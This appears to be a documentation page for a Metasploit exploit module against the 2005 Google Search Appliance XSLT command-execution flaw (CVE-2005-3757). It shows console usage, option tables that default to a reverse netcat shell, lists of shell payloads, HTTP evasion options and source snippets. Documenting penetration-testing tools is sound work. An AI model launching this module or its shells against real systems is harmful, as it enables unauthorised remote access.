Google Appliance ProxyStyleSheet Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/google_proxystylesheet_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Google Appliance ProxyStyleSheet Command Execution
Module: exploit/unix/webapp/google_proxystylesheet_exec
Source code: modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
Disclosure date: 2005-08-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2005-3757
This module exploits a feature in the Saxon XSLT parser used by the Google Search Appliance. This feature allows for arbitrary java methods to be called. Google released a patch and advisory to their client base in August of 2005 (GA-2005-08-m). The target appliance must be able to connect back to your machine for this exploit to work.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/webapp/google_proxystylesheet_exec
msf exploit(google_proxystylesheet_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the unix/webapp/google_proxystylesheet_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/google_proxystylesheet_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/google_proxystylesheet_exec) > show info
Name: Google Appliance ProxyStyleSheet Command Execution
Module: exploit/unix/webapp/google_proxystylesheet_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2005-08-16
Provided by:
hdm <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Space: 4000
Description:
This module exploits a feature in the Saxon XSLT parser used by the
Google Search Appliance. This feature allows for arbitrary java
methods to be called. Google released a patch and advisory to their
client base in August of 2005 (GA-2005-08-m). The target appliance
must be able to connect back to your machine for this exploit to
work.
References:
https://nvd.nist.gov/vuln/detail/CVE-2005-3757
OSVDB (20981)
http://www.securityfocus.com/bid/15509
Module Options
This is a complete list of options available in the unix/webapp/google_proxystylesheet_exec exploit:
msf6 exploit(unix/webapp/google_proxystylesheet_exec) > show options
Module options (exploit/unix/webapp/google_proxystylesheet_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/google_proxystylesheet_exec exploit:
msf6 exploit(unix/webapp/google_proxystylesheet_exec) > show advanced
Module advanced options (exploit/unix/webapp/google_proxystylesheet_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/google_proxystylesheet_exec module can exploit:
msf6 exploit(unix/webapp/google_proxystylesheet_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/google_proxystylesheet_exec exploit:
msf6 exploit(unix/webapp/google_proxystylesheet_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
1 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
2 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
3 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
4 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
5 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
7 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
8 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
9 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
10 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
11 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
12 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
13 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
14 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
15 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/google_proxystylesheet_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/google_proxystylesheet_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not read the location header: <RES.CODE> <RES.MESSAGE>
Here is a relevant code snippet related to the "Could not read the location header: <RES.CODE> <RES.MESSAGE>" error message:
99: 'uri' => '/',
100: 'version' => '1.0'
101: }, 10)
102:
103: if !(res and res['location'] and res['location'] =~ /site=/)
104: print_status("Could not read the location header: #{res.code} #{res.message}")
105: return
106: end
107:
108: m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
109: if !(m and m[1] and m[2])
Invalid location header: <LOCATION>
Here is a relevant code snippet related to the "Invalid location header: <LOCATION>" error message:
105: return
106: end
107:
108: m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
109: if !(m and m[1] and m[2])
110: print_status("Invalid location header: #{res['location']}")
111: return
112: end
113:
114: print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
115: start_service
No response from the server
Here is a relevant code snippet related to the "No response from the server" error message:
131: if (res)
132: print_status("The server returned: #{res.code} #{res.message}")
133: print_status("Waiting on the payload to execute...")
134: select(nil,nil,nil,20)
135: else
136: print_status("No response from the server")
137: end
138:
139: print_status("Shutting down the web service...")
140: stop_service
141: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6083 Merged Pull Request: Fix autofilter values for aggressive modules
- #5822 Merged Pull Request: Fix #5659: Update CMD exploits payload compatibility options
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2426 Merged Pull Request: Find and replace Msf::Config.install_root, "data"
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE-2005-3757
- OSVDB (20981)
- BID-15509
See Also
Check also the following modules related to this module:
- auxiliary/admin/android/google_play_store_uxss_xframe_rce
- exploit/unix/webapp/wp_google_document_embedder_exec
- auxiliary/admin/http/wp_google_maps_sqli
Related Nessus plugins:
Authors
- hdm
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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